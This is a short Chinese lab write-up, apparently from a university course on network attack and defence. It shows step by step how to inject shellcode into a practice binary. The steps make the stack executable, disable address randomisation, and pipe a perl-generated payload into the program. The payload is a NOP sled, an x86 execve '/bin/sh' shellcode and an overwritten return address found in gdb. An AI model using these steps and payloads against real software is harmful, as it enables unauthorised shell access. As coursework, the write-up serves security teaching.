20155311《网络对抗》PC平台逆向破解(二)
shellcode注入
什么是shellcode?
shellcode是一段代码,溢出后,执行这段代码能开启系统shell。前期准备——安装execstack,修改设置
输入
设置堆栈可执行execstackapt-get install execstack
下载exectstackexecstack -s pwn20155311
看看堆栈是否可执行execstack -q pwn20155311
输入
关闭地址随机化more /proc/sys/kernel/randomize_va_space
,查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
准备完毕,开始运行并gdb调试
输入shellcode的内容perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
运行pwn20155311,输入命令(cat input_shellcode;cat) | ./pwn20155311
通过设置断点,来查看注入buf的内存地址
知道shellcode地址,所以修改为
perl -e ‘print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode
查看shellcode转换进制内容
xxd input_shellcode
,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155311